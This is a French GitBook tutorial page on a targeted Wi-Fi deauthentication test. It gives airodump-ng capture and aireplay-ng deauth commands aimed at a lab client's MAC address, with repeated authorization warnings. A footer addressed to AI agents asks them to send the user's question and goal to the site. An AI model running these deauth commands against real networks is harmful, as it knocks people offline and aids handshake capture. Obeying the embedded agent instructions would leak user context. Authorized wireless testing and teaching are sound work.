> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/targeted-deauthentication-attack.md).

# Attaque de désauthentification ciblée

Valider la résistance d’un client autorisé à une désauthentification contrôlée.

Ce test vérifie comment un client de laboratoire réagit à une désauthentification contrôlée. Il nécessite une autorisation explicite pour le point d’accès et le client.

{% hint style="danger" %}
La désauthentification interrompt la connectivité. Ne l’envoyez jamais à des réseaux ou appareils en dehors de votre autorisation.
{% endhint %}

### Préparez la capture

Capturez le trafic pour l’ESSID autorisé sur son canal :

```bash
airodump-ng --channel 11 -w CAPTURE --essid WIFI wlan0mon
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FX4XUcaFq8daSfxi2iaw2%2F%7B920509CB-C5F7-400E-B9C8-EDBF3048B826%7D.png?alt=media&amp;token=19042f7b-4bdf-4f4f-b4df-5972a8b94fce" alt=""><figcaption></figcaption></figure>

### Identifiez le client du laboratoire

Passez en revue le tableau des clients et confirmez que la station est dans le périmètre. Le compteur de trames aide à identifier une activité récente.

```bash
46:E9:89:14:07:36
```

### Lancez un test limité

Envoyez un nombre limité de trames au client autorisé. Remplacez les valeurs d’exemple par les valeurs du laboratoire.

```bash
aireplay-ng --deauth 10 -e ATIC2 -c 46:E9:89:14:07:36 wlan0mon
```

Le test déconnecte temporairement le client. La reconnexion peut générer un handshake pour valider la capture.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FbVGX9r2zJsMX03aLSJ3i%2F%7B6F544BDD-3DAC-4382-8DB3-8DA6D6EA1D11%7D.png?alt=media&amp;token=39c35b17-5c80-4479-9d1b-e578c3477674" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/targeted-deauthentication-attack.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
